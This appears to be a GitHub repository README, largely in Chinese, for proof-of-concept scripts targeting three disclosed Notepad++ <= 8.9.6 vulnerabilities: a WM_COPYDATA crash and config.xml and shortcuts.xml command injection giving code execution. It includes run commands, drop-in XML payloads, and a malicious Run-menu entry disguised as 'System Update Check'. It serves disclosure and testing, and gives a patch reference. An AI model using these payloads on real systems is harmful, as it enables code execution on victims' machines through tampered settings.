atiilla/Notepad-8.9.6-PoC
GitHub: atiilla/Notepad-8.9.6-PoC
针对 Notepad++ <= 8.9.6 版本中三个已知漏洞(CVE-2026-48770/48778/48800)的概念验证脚本集合,演示越界读取拒绝服务与配置文件命令注入实现远程代码执行。
Stars: 6 | Forks: 3
# Notepad++ PoCs
*CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800*
Notepad++ <= 8.9.6 中的三个漏洞的概念验证脚本,已在 v8.9.6.1 (2026-05-26) 中修复。

## 漏洞
| CVE | 类型 | CVSS | 影响 |
|-----|------|------|--------|
| CVE-2026-48770 | 通过 `WM_COPYDATA` 导致的 OOB 读取 | 5.0 | DoS / 崩溃 |
| CVE-2026-48778 | 通过 `config.xml` 导致的 OS 命令注入 | 7.8 | RCE |
| CVE-2026-48800 | 通过 `shortcuts.xml` 导致的 OS 命令注入 | 7.8 | RCE |
## 环境要求
- Windows 10/11(推荐使用虚拟机)
- 已安装且**未更新**的 Notepad++ **<= 8.9.6**
- Python 3.x(用于 `.py` 脚本)
- PowerShell(内置,用于 `.ps1`)
## 文件结构
```
.
├── README.md
├── poc_CVE-2026-48770.py # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py # RCE via config.xml
├── poc_CVE-2026-48800.py # RCE via shortcuts.xml
└── payloads/
├── config.xml # Drop-in payload (CVE-2026-48778)
├── shortcuts.xml # Drop-in payload (CVE-2026-48800)
└── poc_CVE-2026-48770.ps1 # OOB read crash (PowerShell)
```
## CVE-2026-48770 - 通过 WM_COPYDATA 导致的 OOB 读取
同一 Windows 会话中的本地进程发送一个不含 NUL 终止符的恶意 `WM_COPYDATA` 消息(`dwData=3`)。处理程序在读取时越过了缓冲区边界,导致访问冲突 (0xc0000005) 从而使 Notepad++ 崩溃。
**触发条件:** Notepad++ 必须处于打开状态。
**PowerShell:**
```
# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
```
**Python:**
```
python poc_CVE-2026-48770.py
```
**预期输出:**
```
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
```
Notepad++ 窗口消失。WER(Windows 错误报告)可能会触发。
## CVE-2026-48778 - 通过 config.xml 实现的 RCE
`%APPDATA%\Notepad++\config.xml` 会在启动时被读取。`` 的值未经校验,直接传递给 `ShellExecute()`。将其替换为任何可执行文件后,当用户点击 **文件 → 打开所在文件夹 → cmd** 时即可实现 RCE。
### 方法 A - Python 脚本(推荐)
```
# 注入(自动备份原始文件)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe
# 触发:打开 Notepad++ -> File -> Open Containing Folder -> cmd
# 启动 calc.exe 而不是 cmd.exe
# 恢复
python poc_CVE-2026-48778.py --mode direct --restore
```
### 方法 B - 投放 XML 文件
```
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# 打开 Notepad++ -> File -> Open Containing Folder -> cmd
```
### 方法 C - settingsDir(无需写入 AppData)
```
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# 打印 notepad++.exe -settingsDir= 启动命令
# 触发:File -> Open Containing Folder -> cmd
```
## CVE-2026-48800 - 通过 shortcuts.xml 实现的 RCE
`%APPDATA%\Notepad++\shortcuts.xml` 会在启动时被读取。`` 下的 `` 条目会被添加到 **运行** 菜单中,并未经校验直接传递给 `ShellExecute()`。受攻击者控制的条目在点击时就会执行。
### 方法 A - Python 脚本(推荐)
```
# 注入(自动备份原始文件)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"
# 触发:关闭并重新打开 Notepad++ -> Run 菜单 -> "System Update Check"
# 启动 calc.exe
# 恢复
python poc_CVE-2026-48800.py --mode direct --restore
```
### 方法 B - 投放 XML 文件
```
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# 重启 Notepad++ -> Run 菜单 -> "System Update Check"
```
### 方法 C - settingsDir(无需写入 AppData)
```
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# 打印 notepad++.exe -settingsDir= 启动命令
# 触发:Run 菜单 -> "System Update Check"
```
## 缓解措施
**将 Notepad++ 更新至 v8.9.6.1 或更高版本。**
下载地址:https://notepad-plus-plus.org/downloads/
## 公告参考
| CVE | 公告 |
|-----|----------|
| CVE-2026-48770 | GHSA-r39g-3mcw-xcg2 |
| CVE-2026-48778 | GHSA-7hm3-wp5q-ccv9 |
| CVE-2026-48800 | GHSA-3x3f-3j39-pj3v |
标签:AI合规, Go语言工具, IPv6, PoC, PowerShell, Python, Web报告查看器, 搜索语句(dork), 无后门, 暴力破解, 端点可见性, 逆向工具